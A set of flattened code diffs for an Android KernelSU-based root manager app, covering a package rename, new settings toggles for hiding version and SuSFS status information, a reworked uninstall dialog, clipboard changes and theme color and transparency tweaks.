headlineContent = { Text(stringResource(R.string.custom_settings)) },
modifier = Modifier.clickable {
isExpanded = !isExpanded
}
)
AnimatedVisibility(
visible = isExpanded,
modifier = Modifier.fillMaxWidth().padding(horizontal = 24.dp)
) {
// 添加简洁模块开关 // 添加简洁模块开关
SwitchItem( SwitchItem(
icon = Icons.Filled.FormatPaint, icon = Icons.Filled.Brush,
title = stringResource(R.string.simple_mode), title = stringResource(R.string.simple_mode),
summary = stringResource(R.string.simple_mode_summary), summary = stringResource(R.string.simple_mode_summary),
checked = isSimpleMode checked = isSimpleMode
) { ) {
onSimpleModeChange(it) onSimpleModeChange(it)
} }
}
AnimatedVisibility(
visible = isExpanded,
modifier = Modifier.fillMaxWidth().padding(horizontal = 24.dp)
) {
// 隐藏内核部分版本号 // 隐藏内核部分版本号
SwitchItem( SwitchItem(
icon = Icons.Filled.FormatPaint, icon = Icons.Filled.VisibilityOff,
title = stringResource(R.string.hide_kernel_kernelsu_version), title = stringResource(R.string.hide_kernel_kernelsu_version),
summary = stringResource(R.string.hide_kernel_kernelsu_version_summary), summary = stringResource(R.string.hide_kernel_kernelsu_version_summary),
checked = isHideVersion checked = isHideVersion
) { ) {
onHideVersionChange(it) onHideVersionChange(it)
} }
}
AnimatedVisibility(
visible = isExpanded,
modifier = Modifier.fillMaxWidth().padding(horizontal = 24.dp)
) {
// 模块数量等信息
SwitchItem(
icon = Icons.Filled.VisibilityOff,
title = stringResource(R.string.hide_other_info),
summary = stringResource(R.string.hide_other_info_summary),
checked = isHideOtherInfo
) {
onHideOtherInfoChange(it)
}
}
AnimatedVisibility(
visible = isExpanded,
modifier = Modifier.fillMaxWidth().padding(horizontal = 24.dp)
) {
// SuSFS 状态信息
SwitchItem(
icon = Icons.Filled.VisibilityOff,
title = stringResource(R.string.hide_susfs_status),
summary = stringResource(R.string.hide_susfs_status_summary),
checked = isHideSusfsStatus
) {
onHideSusfsStatusChange(it)
}
}
// region SUSFS 配置(仅在支持时显示) // region SUSFS 配置(仅在支持时显示)
val suSFS = getSuSFS() val suSFS = getSuSFS()
@@ -285,10 +370,12 @@ fun MoreSettingsScreen(navigator: DestinationsNavigator) {
} }
} }
// 只在未启用动态颜色时显示主题色选择 // 只在未启用动态颜色时显示主题色选择
if (!useDynamicColor) { AnimatedVisibility(
visible = !useDynamicColor
) {
ListItem( ListItem(
leadingContent = { Icon(Icons.Default.Palette, null) }, leadingContent = { Icon(Icons.Default.Palette, null) },
headlineContent = { Text("主题颜色") }, headlineContent = { Text(stringResource(R.string.theme_color)) },
supportingContent = { supportingContent = {
val currentThemeName = when (ThemeConfig.currentTheme) { val currentThemeName = when (ThemeConfig.currentTheme) {
is ThemeColors.Default -> stringResource(R.string.color_default) is ThemeColors.Default -> stringResource(R.string.color_default)
@@ -373,10 +460,11 @@ fun MoreSettingsScreen(navigator: DestinationsNavigator) {
context.saveCustomBackground(null) context.saveCustomBackground(null)
isCustomBackgroundEnabled = false isCustomBackgroundEnabled = false
CardConfig.cardElevation = CardConfig.defaultElevation CardConfig.cardElevation = CardConfig.defaultElevation
CardConfig.cardAlpha = 1f CardConfig.cardAlpha = 0.45f
CardConfig.isCustomAlphaSet = false CardConfig.isCustomAlphaSet = false
CardConfig.isCustomBackgroundEnabled = false
saveCardConfig(context) saveCardConfig(context)
cardAlpha = 0.65f cardAlpha = 0.35f
themeMode = 0 themeMode = 0
context.saveThemeMode(null) context.saveThemeMode(null)
CardConfig.isUserDarkModeEnabled = false CardConfig.isUserDarkModeEnabled = false
@@ -387,9 +475,11 @@ fun MoreSettingsScreen(navigator: DestinationsNavigator) {
) )
} }
) )
if (ThemeConfig.customBackgroundUri != null && showCardSettings) {
// 透明度 Slider // 透明度 Slider
AnimatedVisibility(
visible = ThemeConfig.customBackgroundUri != null && showCardSettings,
modifier = Modifier.fillMaxWidth().padding(horizontal = 24.dp)
) {
ListItem( ListItem(
leadingContent = { Icon(Icons.Filled.Opacity, null) }, leadingContent = { Icon(Icons.Filled.Opacity, null) },
headlineContent = { Text(stringResource(R.string.settings_card_alpha)) }, headlineContent = { Text(stringResource(R.string.settings_card_alpha)) },
@@ -419,7 +509,11 @@ fun MoreSettingsScreen(navigator: DestinationsNavigator) {
) )
} }
) )
}
AnimatedVisibility(
visible = ThemeConfig.customBackgroundUri != null && showCardSettings,
modifier = Modifier.fillMaxWidth().padding(horizontal = 24.dp)
){
ListItem( ListItem(
leadingContent = { Icon(Icons.Filled.DarkMode, null) }, leadingContent = { Icon(Icons.Filled.DarkMode, null) },
headlineContent = { Text(stringResource(R.string.theme_mode)) }, headlineContent = { Text(stringResource(R.string.theme_mode)) },
@@ -428,7 +522,7 @@ fun MoreSettingsScreen(navigator: DestinationsNavigator) {
showThemeModeDialog = true showThemeModeDialog = true
} }
) )
}
// 主题模式选择对话框 // 主题模式选择对话框
if (showThemeModeDialog) { if (showThemeModeDialog) {
@@ -491,7 +585,7 @@ fun MoreSettingsScreen(navigator: DestinationsNavigator) {
} }
} }
} }
}
@Composable @Composable
private fun getSliderColors(cardAlpha: Float, useCustomColors: Boolean = false): SliderColors { private fun getSliderColors(cardAlpha: Float, useCustomColors: Boolean = false): SliderColors {

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.screen package com.sukisu.ultra.ui.screen
import android.content.Context import android.content.Context
import android.content.Intent import android.content.Intent
@@ -7,30 +7,14 @@ import android.widget.Toast
import androidx.activity.compose.rememberLauncherForActivityResult import androidx.activity.compose.rememberLauncherForActivityResult
import androidx.activity.result.contract.ActivityResultContracts import androidx.activity.result.contract.ActivityResultContracts
import androidx.compose.foundation.clickable import androidx.compose.foundation.clickable
import androidx.compose.foundation.layout.Box import androidx.compose.foundation.layout.*
import androidx.compose.foundation.layout.Column
import androidx.compose.foundation.layout.Row
import androidx.compose.foundation.layout.WindowInsets
import androidx.compose.foundation.layout.WindowInsetsSides
import androidx.compose.foundation.layout.only
import androidx.compose.foundation.layout.padding
import androidx.compose.foundation.layout.safeDrawing
import androidx.compose.foundation.rememberScrollState import androidx.compose.foundation.rememberScrollState
import androidx.compose.foundation.verticalScroll import androidx.compose.foundation.verticalScroll
import androidx.compose.material.icons.Icons import androidx.compose.material.icons.Icons
import androidx.compose.material.icons.automirrored.filled.Undo import androidx.compose.material.icons.automirrored.filled.Undo
import androidx.compose.material.icons.filled.* import androidx.compose.material.icons.filled.*
import androidx.compose.material3.ExperimentalMaterial3Api import androidx.compose.material3.ExperimentalMaterial3Api
import androidx.compose.material3.Icon import androidx.compose.material3.*
import androidx.compose.material3.ListItem
import androidx.compose.material3.ModalBottomSheet
import androidx.compose.material3.Scaffold
import androidx.compose.material3.SnackbarHost
import androidx.compose.material3.Text
import androidx.compose.material3.TopAppBar
import androidx.compose.material3.TopAppBarDefaults
import androidx.compose.material3.TopAppBarScrollBehavior
import androidx.compose.material3.rememberTopAppBarState
import androidx.compose.runtime.Composable import androidx.compose.runtime.Composable
import androidx.compose.runtime.getValue import androidx.compose.runtime.getValue
import androidx.compose.runtime.mutableStateOf import androidx.compose.runtime.mutableStateOf
@@ -49,12 +33,9 @@ import androidx.compose.ui.text.style.TextAlign
import androidx.compose.ui.tooling.preview.Preview import androidx.compose.ui.tooling.preview.Preview
import androidx.compose.ui.unit.dp import androidx.compose.ui.unit.dp
import androidx.core.content.FileProvider import androidx.core.content.FileProvider
import com.maxkeppeker.sheets.core.models.base.Header import androidx.core.content.edit
import com.maxkeppeker.sheets.core.models.base.IconSource import com.maxkeppeker.sheets.core.models.base.IconSource
import com.maxkeppeker.sheets.core.models.base.rememberUseCaseState
import com.maxkeppeler.sheets.list.ListDialog
import com.maxkeppeler.sheets.list.models.ListOption import com.maxkeppeler.sheets.list.models.ListOption
import com.maxkeppeler.sheets.list.models.ListSelection
import com.ramcosta.composedestinations.annotation.Destination import com.ramcosta.composedestinations.annotation.Destination
import com.ramcosta.composedestinations.annotation.RootGraph import com.ramcosta.composedestinations.annotation.RootGraph
import com.ramcosta.composedestinations.generated.destinations.AppProfileTemplateScreenDestination import com.ramcosta.composedestinations.generated.destinations.AppProfileTemplateScreenDestination
@@ -65,24 +46,16 @@ import com.ramcosta.composedestinations.navigation.EmptyDestinationsNavigator
import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.launch import kotlinx.coroutines.launch
import kotlinx.coroutines.withContext import kotlinx.coroutines.withContext
import shirkneko.zako.sukisu.BuildConfig import com.sukisu.ultra.BuildConfig
import shirkneko.zako.sukisu.Natives import com.sukisu.ultra.Natives
import shirkneko.zako.sukisu.R import com.sukisu.ultra.R
import shirkneko.zako.sukisu.ui.component.AboutDialog import com.sukisu.ultra.*
import shirkneko.zako.sukisu.ui.component.ConfirmResult import com.sukisu.ultra.ui.component.*
import shirkneko.zako.sukisu.ui.component.DialogHandle import com.sukisu.ultra.ui.theme.*
import shirkneko.zako.sukisu.ui.component.SwitchItem import com.sukisu.ultra.ui.util.LocalSnackbarHost
import shirkneko.zako.sukisu.ui.component.rememberConfirmDialog import com.sukisu.ultra.ui.util.getBugreportFile
import shirkneko.zako.sukisu.ui.component.rememberCustomDialog
import shirkneko.zako.sukisu.ui.component.rememberLoadingDialog
import shirkneko.zako.sukisu.ui.util.LocalSnackbarHost
import shirkneko.zako.sukisu.ui.util.getBugreportFile
import java.time.LocalDateTime import java.time.LocalDateTime
import java.time.format.DateTimeFormatter import java.time.format.DateTimeFormatter
import androidx.compose.material.icons.filled.ExpandMore
import androidx.compose.material3.MaterialTheme
import shirkneko.zako.sukisu.ui.theme.CardConfig
import androidx.core.content.edit
/** /**
@@ -96,6 +69,7 @@ fun SettingScreen(navigator: DestinationsNavigator) {
// region 界面基础设置 // region 界面基础设置
val scrollBehavior = TopAppBarDefaults.pinnedScrollBehavior(rememberTopAppBarState()) val scrollBehavior = TopAppBarDefaults.pinnedScrollBehavior(rememberTopAppBarState())
val snackBarHost = LocalSnackbarHost.current val snackBarHost = LocalSnackbarHost.current
val ksuIsValid = Natives.isKsuValid(ksuApp.packageName)
// endregion // endregion
Scaffold( Scaffold(
@@ -111,7 +85,6 @@ fun SettingScreen(navigator: DestinationsNavigator) {
AboutDialog(it) AboutDialog(it)
} }
val loadingDialog = rememberLoadingDialog() val loadingDialog = rememberLoadingDialog()
val shrinkDialog = rememberConfirmDialog()
// endregion // endregion
Column( Column(
@@ -140,11 +113,11 @@ fun SettingScreen(navigator: DestinationsNavigator) {
loadingDialog.hide() loadingDialog.hide()
snackBarHost.showSnackbar(context.getString(R.string.log_saved)) snackBarHost.showSnackbar(context.getString(R.string.log_saved))
} }
// endregion
} }
// region 配置项列表 // region 配置项列表
// 配置文件模板入口 // 配置文件模板入口
val profileTemplate = stringResource(id = R.string.settings_profile_template) val profileTemplate = stringResource(id = R.string.settings_profile_template)
if (ksuIsValid) {
ListItem( ListItem(
leadingContent = { Icon(Icons.Filled.Fence, profileTemplate) }, leadingContent = { Icon(Icons.Filled.Fence, profileTemplate) },
headlineContent = { Text(profileTemplate) }, headlineContent = { Text(profileTemplate) },
@@ -153,10 +126,13 @@ fun SettingScreen(navigator: DestinationsNavigator) {
navigator.navigate(AppProfileTemplateScreenDestination) navigator.navigate(AppProfileTemplateScreenDestination)
} }
) )
}
// 卸载模块开关 // 卸载模块开关
var umountChecked by rememberSaveable { var umountChecked by rememberSaveable {
mutableStateOf(Natives.isDefaultUmountModules()) mutableStateOf(Natives.isDefaultUmountModules())
} }
if (ksuIsValid) {
SwitchItem( SwitchItem(
icon = Icons.Filled.FolderDelete, icon = Icons.Filled.FolderDelete,
title = stringResource(id = R.string.settings_umount_modules_default), title = stringResource(id = R.string.settings_umount_modules_default),
@@ -167,7 +143,9 @@ fun SettingScreen(navigator: DestinationsNavigator) {
umountChecked = it umountChecked = it
} }
} }
}
// SU 禁用开关(仅在兼容版本显示) // SU 禁用开关(仅在兼容版本显示)
if (ksuIsValid) {
if (Natives.version >= Natives.MINIMAL_SUPPORTED_SU_COMPAT) { if (Natives.version >= Natives.MINIMAL_SUPPORTED_SU_COMPAT) {
var isSuDisabled by rememberSaveable { var isSuDisabled by rememberSaveable {
mutableStateOf(!Natives.isSuEnabled()) mutableStateOf(!Natives.isSuEnabled())
@@ -184,6 +162,7 @@ fun SettingScreen(navigator: DestinationsNavigator) {
} }
} }
} }
}
val prefs = context.getSharedPreferences("settings", Context.MODE_PRIVATE) val prefs = context.getSharedPreferences("settings", Context.MODE_PRIVATE)
@@ -209,6 +188,7 @@ fun SettingScreen(navigator: DestinationsNavigator) {
prefs.getBoolean("enable_web_debugging", false) prefs.getBoolean("enable_web_debugging", false)
) )
} }
if (Natives.isKsuValid(ksuApp.packageName)) {
SwitchItem( SwitchItem(
icon = Icons.Filled.DeveloperMode, icon = Icons.Filled.DeveloperMode,
title = stringResource(id = R.string.enable_web_debugging), title = stringResource(id = R.string.enable_web_debugging),
@@ -218,12 +198,13 @@ fun SettingScreen(navigator: DestinationsNavigator) {
prefs.edit { putBoolean("enable_web_debugging", it) } prefs.edit { putBoolean("enable_web_debugging", it) }
enableWebDebugging = it enableWebDebugging = it
} }
// endregion }
// 更多设置
val newButtonTitle = stringResource(id = R.string.more_settings) val newButtonTitle = stringResource(id = R.string.more_settings)
ListItem( ListItem(
leadingContent = { leadingContent = {
Icon( Icon(
Icons.Filled.ExpandMore, Icons.Filled.Settings,
contentDescription = newButtonTitle contentDescription = newButtonTitle
) )
}, },
@@ -452,20 +433,73 @@ fun rememberUninstallDialog(onSelected: (UninstallType) -> Unit): DialogHandle {
} }
var selection = UninstallType.NONE var selection = UninstallType.NONE
ListDialog(state = rememberUseCaseState(visible = true, onFinishedRequest = { val cardColor = if (!ThemeConfig.useDynamicColor) {
ThemeConfig.currentTheme.ButtonContrast
} else {
MaterialTheme.colorScheme.secondaryContainer
}
AlertDialog(
onDismissRequest = {
dismiss()
},
title = {
Text(text = stringResource(R.string.settings_uninstall))
},
text = {
Column {
listOptions.forEachIndexed { index, option ->
Row(
modifier = Modifier
.clickable {
selection = options[index]
}
.padding(vertical = 8.dp)
) {
Icon(
imageVector = options[index].icon,
contentDescription = null,
modifier = Modifier.padding(end = 8.dp)
)
Column {
Text(text = option.titleText)
option.subtitleText?.let {
Text(
text = it,
style = MaterialTheme.typography.bodySmall,
color = MaterialTheme.colorScheme.onSurfaceVariant
)
}
}
}
}
}
},
confirmButton = {
androidx.compose.material3.TextButton(
onClick = {
if (selection != UninstallType.NONE) { if (selection != UninstallType.NONE) {
onSelected(selection) onSelected(selection)
} }
}, onCloseRequest = {
dismiss() dismiss()
}), header = Header.Default( }
title = stringResource(R.string.settings_uninstall), ) {
), selection = ListSelection.Single( Text(text = stringResource(android.R.string.ok))
showRadioButtons = false, }
options = listOptions, },
) { index, _ -> dismissButton = {
selection = options[index] androidx.compose.material3.TextButton(
}) onClick = {
dismiss()
}
) {
Text(text = stringResource(android.R.string.cancel))
}
},
containerColor = getCardColors(cardColor.copy(alpha = 0.9f)).containerColor.copy(alpha = 0.9f),
shape = MaterialTheme.shapes.medium,
tonalElevation = getCardElevation()
)
} }
} }

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.screen package com.sukisu.ultra.ui.screen
import androidx.compose.foundation.background import androidx.compose.foundation.background
import androidx.compose.foundation.gestures.detectTapGestures import androidx.compose.foundation.gestures.detectTapGestures
@@ -24,6 +24,7 @@ import androidx.compose.ui.text.font.FontWeight
import androidx.compose.ui.unit.dp import androidx.compose.ui.unit.dp
import androidx.compose.ui.unit.sp import androidx.compose.ui.unit.sp
import androidx.lifecycle.viewmodel.compose.viewModel import androidx.lifecycle.viewmodel.compose.viewModel
import com.sukisu.ultra.R
import coil.compose.AsyncImage import coil.compose.AsyncImage
import coil.request.ImageRequest import coil.request.ImageRequest
import com.ramcosta.composedestinations.annotation.Destination import com.ramcosta.composedestinations.annotation.Destination
@@ -31,11 +32,10 @@ import com.ramcosta.composedestinations.annotation.RootGraph
import com.ramcosta.composedestinations.generated.destinations.AppProfileScreenDestination import com.ramcosta.composedestinations.generated.destinations.AppProfileScreenDestination
import com.ramcosta.composedestinations.navigation.DestinationsNavigator import com.ramcosta.composedestinations.navigation.DestinationsNavigator
import kotlinx.coroutines.launch import kotlinx.coroutines.launch
import shirkneko.zako.sukisu.Natives import com.sukisu.ultra.Natives
import shirkneko.zako.sukisu.R import com.sukisu.ultra.ui.component.SearchAppBar
import shirkneko.zako.sukisu.ui.component.SearchAppBar import com.sukisu.ultra.ui.util.ModuleModify
import shirkneko.zako.sukisu.ui.util.ModuleModify import com.sukisu.ultra.ui.viewmodel.SuperUserViewModel
import shirkneko.zako.sukisu.ui.viewmodel.SuperUserViewModel
@OptIn(ExperimentalMaterialApi::class, ExperimentalMaterial3Api::class) @OptIn(ExperimentalMaterialApi::class, ExperimentalMaterial3Api::class)
@Destination<RootGraph> @Destination<RootGraph>

View File

@@ -1,5 +1,7 @@
package shirkneko.zako.sukisu.ui.screen package com.sukisu.ultra.ui.screen
import android.content.ClipData
import android.content.ClipboardManager
import android.widget.Toast import android.widget.Toast
import androidx.compose.foundation.clickable import androidx.compose.foundation.clickable
import androidx.compose.foundation.layout.Column import androidx.compose.foundation.layout.Column
@@ -44,11 +46,10 @@ import androidx.compose.runtime.rememberCoroutineScope
import androidx.compose.runtime.setValue import androidx.compose.runtime.setValue
import androidx.compose.ui.Modifier import androidx.compose.ui.Modifier
import androidx.compose.ui.input.nestedscroll.nestedScroll import androidx.compose.ui.input.nestedscroll.nestedScroll
import androidx.compose.ui.platform.LocalClipboardManager
import androidx.compose.ui.platform.LocalContext import androidx.compose.ui.platform.LocalContext
import androidx.compose.ui.res.stringResource import androidx.compose.ui.res.stringResource
import androidx.compose.ui.text.AnnotatedString
import androidx.compose.ui.unit.dp import androidx.compose.ui.unit.dp
import androidx.core.content.getSystemService
import androidx.lifecycle.compose.dropUnlessResumed import androidx.lifecycle.compose.dropUnlessResumed
import androidx.lifecycle.viewmodel.compose.viewModel import androidx.lifecycle.viewmodel.compose.viewModel
import com.ramcosta.composedestinations.annotation.Destination import com.ramcosta.composedestinations.annotation.Destination
@@ -59,8 +60,9 @@ import com.ramcosta.composedestinations.result.ResultRecipient
import com.ramcosta.composedestinations.result.getOr import com.ramcosta.composedestinations.result.getOr
import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.launch import kotlinx.coroutines.launch
import shirkneko.zako.sukisu.R import com.sukisu.ultra.R
import shirkneko.zako.sukisu.ui.viewmodel.TemplateViewModel import com.sukisu.ultra.ui.theme.ThemeConfig
import com.sukisu.ultra.ui.viewmodel.TemplateViewModel
/** /**
* @author weishu * @author weishu
@@ -77,7 +79,11 @@ fun AppProfileTemplateScreen(
val viewModel = viewModel<TemplateViewModel>() val viewModel = viewModel<TemplateViewModel>()
val scope = rememberCoroutineScope() val scope = rememberCoroutineScope()
val scrollBehavior = TopAppBarDefaults.pinnedScrollBehavior(rememberTopAppBarState()) val scrollBehavior = TopAppBarDefaults.pinnedScrollBehavior(rememberTopAppBarState())
val cardColor = MaterialTheme.colorScheme.secondaryContainer val cardColor = if (!ThemeConfig.useDynamicColor) {
ThemeConfig.currentTheme.ButtonContrast
} else {
MaterialTheme.colorScheme.secondaryContainer
}
LaunchedEffect(Unit) { LaunchedEffect(Unit) {
if (viewModel.templateList.isEmpty()) { if (viewModel.templateList.isEmpty()) {
@@ -94,8 +100,8 @@ fun AppProfileTemplateScreen(
Scaffold( Scaffold(
topBar = { topBar = {
val clipboardManager = LocalClipboardManager.current
val context = LocalContext.current val context = LocalContext.current
val clipboardManager = context.getSystemService<ClipboardManager>()
val showToast = fun(msg: String) { val showToast = fun(msg: String) {
scope.launch(Dispatchers.Main) { scope.launch(Dispatchers.Main) {
Toast.makeText(context, msg, Toast.LENGTH_SHORT).show() Toast.makeText(context, msg, Toast.LENGTH_SHORT).show()
@@ -107,21 +113,21 @@ fun AppProfileTemplateScreen(
scope.launch { viewModel.fetchTemplates(true) } scope.launch { viewModel.fetchTemplates(true) }
}, },
onImport = { onImport = {
clipboardManager.getText()?.text?.let {
if (it.isEmpty()) {
showToast(context.getString(R.string.app_profile_template_import_empty))
return@let
}
scope.launch { scope.launch {
val clipboardText = clipboardManager?.primaryClip?.getItemAt(0)?.text?.toString()
if (clipboardText.isNullOrEmpty()) {
showToast(context.getString(R.string.app_profile_template_import_empty))
return@launch
}
viewModel.importTemplates( viewModel.importTemplates(
it, { clipboardText,
{
showToast(context.getString(R.string.app_profile_template_import_success)) showToast(context.getString(R.string.app_profile_template_import_success))
viewModel.fetchTemplates(false) viewModel.fetchTemplates(false)
}, },
showToast showToast
) )
} }
}
}, },
onExport = { onExport = {
scope.launch { scope.launch {
@@ -129,8 +135,8 @@ fun AppProfileTemplateScreen(
{ {
showToast(context.getString(R.string.app_profile_template_export_empty)) showToast(context.getString(R.string.app_profile_template_export_empty))
} }
) { ) { text ->
clipboardManager.setText(AnnotatedString(it)) clipboardManager?.setPrimaryClip(ClipData.newPlainText("", text))
} }
} }
}, },

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.screen package com.sukisu.ultra.ui.screen
import android.widget.Toast import android.widget.Toast
import androidx.activity.compose.BackHandler import androidx.activity.compose.BackHandler
@@ -47,14 +47,14 @@ import androidx.compose.ui.text.input.KeyboardType
import com.ramcosta.composedestinations.annotation.Destination import com.ramcosta.composedestinations.annotation.Destination
import com.ramcosta.composedestinations.annotation.RootGraph import com.ramcosta.composedestinations.annotation.RootGraph
import com.ramcosta.composedestinations.result.ResultBackNavigator import com.ramcosta.composedestinations.result.ResultBackNavigator
import shirkneko.zako.sukisu.Natives import com.sukisu.ultra.Natives
import shirkneko.zako.sukisu.R import com.sukisu.ultra.R
import shirkneko.zako.sukisu.ui.component.profile.RootProfileConfig import com.sukisu.ultra.ui.component.profile.RootProfileConfig
import shirkneko.zako.sukisu.ui.util.deleteAppProfileTemplate import com.sukisu.ultra.ui.util.deleteAppProfileTemplate
import shirkneko.zako.sukisu.ui.util.getAppProfileTemplate import com.sukisu.ultra.ui.util.getAppProfileTemplate
import shirkneko.zako.sukisu.ui.util.setAppProfileTemplate import com.sukisu.ultra.ui.util.setAppProfileTemplate
import shirkneko.zako.sukisu.ui.viewmodel.TemplateViewModel import com.sukisu.ultra.ui.viewmodel.TemplateViewModel
import shirkneko.zako.sukisu.ui.viewmodel.toJSON import com.sukisu.ultra.ui.viewmodel.toJSON
import androidx.lifecycle.compose.dropUnlessResumed import androidx.lifecycle.compose.dropUnlessResumed
/** /**

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.theme package com.sukisu.ultra.ui.theme
import android.content.Context import android.content.Context
import androidx.compose.foundation.isSystemInDarkTheme import androidx.compose.foundation.isSystemInDarkTheme
@@ -15,7 +15,7 @@ import androidx.compose.ui.unit.dp
object CardConfig { object CardConfig {
val defaultElevation: Dp = 0.dp val defaultElevation: Dp = 0.dp
var cardAlpha by mutableStateOf(1f) var cardAlpha by mutableStateOf(0.45f)
var cardElevation by mutableStateOf(defaultElevation) var cardElevation by mutableStateOf(defaultElevation)
var isShadowEnabled by mutableStateOf(true) var isShadowEnabled by mutableStateOf(true)
var isCustomAlphaSet by mutableStateOf(false) var isCustomAlphaSet by mutableStateOf(false)
@@ -38,7 +38,7 @@ object CardConfig {
fun load(context: Context) { fun load(context: Context) {
val prefs = context.getSharedPreferences("settings", Context.MODE_PRIVATE) val prefs = context.getSharedPreferences("settings", Context.MODE_PRIVATE)
cardAlpha = prefs.getFloat("card_alpha", 1f) cardAlpha = prefs.getFloat("card_alpha", 0.45f)
cardElevation = if (prefs.getBoolean("custom_background_enabled", false)) 0.dp else defaultElevation cardElevation = if (prefs.getBoolean("custom_background_enabled", false)) 0.dp else defaultElevation
isCustomAlphaSet = prefs.getBoolean("is_custom_alpha_set", false) isCustomAlphaSet = prefs.getBoolean("is_custom_alpha_set", false)
isUserDarkModeEnabled = prefs.getBoolean("is_user_dark_mode_enabled", false) isUserDarkModeEnabled = prefs.getBoolean("is_user_dark_mode_enabled", false)
@@ -53,7 +53,7 @@ object CardConfig {
fun setDarkModeDefaults() { fun setDarkModeDefaults() {
if (!isCustomAlphaSet) { if (!isCustomAlphaSet) {
cardAlpha = 0.5f cardAlpha = 0.35f
cardElevation = 0.dp cardElevation = 0.dp
} }
} }

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.theme package com.sukisu.ultra.ui.theme
import androidx.compose.ui.graphics.Color import androidx.compose.ui.graphics.Color

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.theme package com.sukisu.ultra.ui.theme
import android.content.ContentResolver import android.content.ContentResolver
import android.content.Context import android.content.Context
@@ -27,11 +27,14 @@ import androidx.compose.ui.zIndex
import coil.compose.rememberAsyncImagePainter import coil.compose.rememberAsyncImagePainter
import androidx.compose.foundation.background import androidx.compose.foundation.background
import androidx.compose.ui.graphics.luminance import androidx.compose.ui.graphics.luminance
import androidx.compose.ui.unit.dp
import java.io.File import java.io.File
import java.io.FileOutputStream import java.io.FileOutputStream
import java.io.InputStream import java.io.InputStream
import androidx.core.content.edit import androidx.core.content.edit
import androidx.core.net.toUri import androidx.core.net.toUri
import com.sukisu.ultra.ui.util.BackgroundTransformation
import com.sukisu.ultra.ui.util.saveTransformedBackground
object ThemeConfig { object ThemeConfig {
var customBackgroundUri by mutableStateOf<Uri?>(null) var customBackgroundUri by mutableStateOf<Uri?>(null)
@@ -43,23 +46,23 @@ object ThemeConfig {
@Composable @Composable
private fun getDarkColorScheme() = darkColorScheme( private fun getDarkColorScheme() = darkColorScheme(
primary = ThemeConfig.currentTheme.Primary.copy(alpha = 0.8f), primary = ThemeConfig.currentTheme.Primary.copy(alpha = 0.8f),
onPrimary = Color.White, onPrimary = mixColors(ThemeConfig.currentTheme.Primary, Color.White, 0.2f),
primaryContainer = ThemeConfig.currentTheme.PrimaryContainer.copy(alpha = 0.15f), primaryContainer = ThemeConfig.currentTheme.PrimaryContainer.copy(alpha = 0.15f),
onPrimaryContainer = Color.White, onPrimaryContainer = mixColors(ThemeConfig.currentTheme.Primary, Color.White, 0.2f),
secondary = ThemeConfig.currentTheme.Secondary.copy(alpha = 0.8f), secondary = ThemeConfig.currentTheme.Secondary.copy(alpha = 0.8f),
onSecondary = Color.White, onSecondary = mixColors(ThemeConfig.currentTheme.Secondary, Color.White, 0.2f),
secondaryContainer = ThemeConfig.currentTheme.SecondaryContainer.copy(alpha = 0.15f), secondaryContainer = ThemeConfig.currentTheme.SecondaryContainer.copy(alpha = 0.15f),
onSecondaryContainer = Color.White, onSecondaryContainer = mixColors(ThemeConfig.currentTheme.Secondary, Color.White, 0.2f),
tertiary = ThemeConfig.currentTheme.Tertiary.copy(alpha = 0.8f), tertiary = ThemeConfig.currentTheme.Tertiary.copy(alpha = 0.8f),
onTertiary = Color.White, onTertiary = mixColors(ThemeConfig.currentTheme.Tertiary, Color.White, 0.2f),
tertiaryContainer = ThemeConfig.currentTheme.TertiaryContainer.copy(alpha = 0.15f), tertiaryContainer = ThemeConfig.currentTheme.TertiaryContainer.copy(alpha = 0.15f),
onTertiaryContainer = Color.White, onTertiaryContainer = mixColors(ThemeConfig.currentTheme.Tertiary, Color.White, 0.2f),
background = Color.Transparent, background = Color.Transparent,
surface = Color.Transparent, surface = Color.Transparent,
onBackground = Color.White.copy(alpha = 0.87f), onBackground = mixColors(ThemeConfig.currentTheme.Primary, Color.White, 0.1f),
onSurface = Color.White.copy(alpha = 0.87f), onSurface = mixColors(ThemeConfig.currentTheme.Primary, Color.White, 0.1f),
surfaceVariant = Color(0xFF2F2F2F), surfaceVariant = Color(0xFF2F2F2F),
onSurfaceVariant = Color.White.copy(alpha = 0.78f), onSurfaceVariant = mixColors(ThemeConfig.currentTheme.Primary, Color.White, 0.2f),
outline = Color.White.copy(alpha = 0.12f), outline = Color.White.copy(alpha = 0.12f),
outlineVariant = Color.White.copy(alpha = 0.12f) outlineVariant = Color.White.copy(alpha = 0.12f)
) )
@@ -88,29 +91,6 @@ private fun getLightColorScheme() = lightColorScheme(
outlineVariant = Color.Black.copy(alpha = 0.12f) outlineVariant = Color.Black.copy(alpha = 0.12f)
) )
// 复制图片到应用内部存储
fun Context.copyImageToInternalStorage(uri: Uri): Uri? {
try {
val contentResolver: ContentResolver = contentResolver
val inputStream: InputStream = contentResolver.openInputStream(uri)!!
val fileName = "custom_background.jpg"
val file = File(filesDir, fileName)
val outputStream = FileOutputStream(file)
val buffer = ByteArray(4 * 1024)
var read: Int
while (inputStream.read(buffer).also { read = it } != -1) {
outputStream.write(buffer, 0, read)
}
outputStream.flush()
outputStream.close()
inputStream.close()
return Uri.fromFile(file)
} catch (e: Exception) {
Log.e("ImageCopy", "Failed to copy image: ${e.message}")
return null
}
}
@Composable @Composable
fun KernelSUTheme( fun KernelSUTheme(
darkTheme: Boolean = when(ThemeConfig.forceDarkMode) { darkTheme: Boolean = when(ThemeConfig.forceDarkMode) {
@@ -131,7 +111,6 @@ fun KernelSUTheme(
if (darkTheme) { if (darkTheme) {
val originalScheme = dynamicDarkColorScheme(context) val originalScheme = dynamicDarkColorScheme(context)
originalScheme.copy( originalScheme.copy(
// 调整按钮相关颜色
primary = adjustColor(originalScheme.primary), primary = adjustColor(originalScheme.primary),
onPrimary = adjustColor(originalScheme.onPrimary), onPrimary = adjustColor(originalScheme.onPrimary),
primaryContainer = adjustColor(originalScheme.primaryContainer), primaryContainer = adjustColor(originalScheme.primaryContainer),
@@ -242,6 +221,48 @@ fun KernelSUTheme(
} }
} }
// 复制图片到应用内部存储
